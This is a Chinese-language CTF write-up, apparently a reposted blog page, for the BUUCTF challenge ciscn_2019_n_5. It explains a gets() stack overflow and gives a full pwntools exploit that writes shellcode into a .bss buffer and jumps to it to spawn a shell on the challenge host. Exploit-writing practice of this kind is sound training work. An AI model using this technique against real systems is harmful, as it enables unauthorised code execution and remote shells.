zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN20——ciscn_2019_n_5

    [BUUCTF]PWN20——ciscn_2019_n_5

    附件

    步骤:
    例行检查,64位,没有开启任何保护
    在这里插入图片描述
    试运行一下程序,看看程序的执行情况
    在这里插入图片描述
    64位ida载入,找到main函数,在这里插入图片描述
    逻辑很简单,第一次让我们输入名字,限制输入长度为0x64,看一下name参数,发现name在全局变量bss段上
    在这里插入图片描述
    第二次输入利用gets,没有限制长度,可以对v4造成溢出

    利用过程

    利用第一个输入点,往name参数里写入shellcode

    context(arch='amd64',os='linux')                   #用来导入pwntools模块
    shellcode=asm(shellcraft.sh())                     #利用pwntools模块自动生成shellcode
    r.sendlineafter('tell me your name',shellcode)     #往name中写入shellcode
    

    利用第二个输入点,让v4溢出到name参数地址,去执行shellcode拿到shell

    payload='a'*0x28+p64(0x601080)                    #让v4溢出到name参数地址
    r.sendlineafter('What do you want to say to me?',payload)
    

    exp

    from pwn import*
    
    r=remote('node3.buuoj.cn',27785)
    
    context(arch='amd64',os='linux')
    shellcode=asm(shellcraft.sh())
    r.sendlineafter('tell me your name',shellcode)
    
    payload='a'*0x28+p64(0x601080)
    r.sendlineafter('What do you want to say to me?',payload)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Eclipse Mac OS 安装 Subversion插件subclipse 缺失JavaHL解决方案
    Eclipse Mac OS 安装 最新版 Subversion插件subclipse
    mac OS 安装 Homebrew软件包管理器
    Ribbon 框架简介及搭建
    Ribbon 框架简介及搭建
    TinyMCE下载及使用
    努力啊。
    逃离
    怎么学习
    烂代码
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273715.html
Copyright © 2011-2022 走看看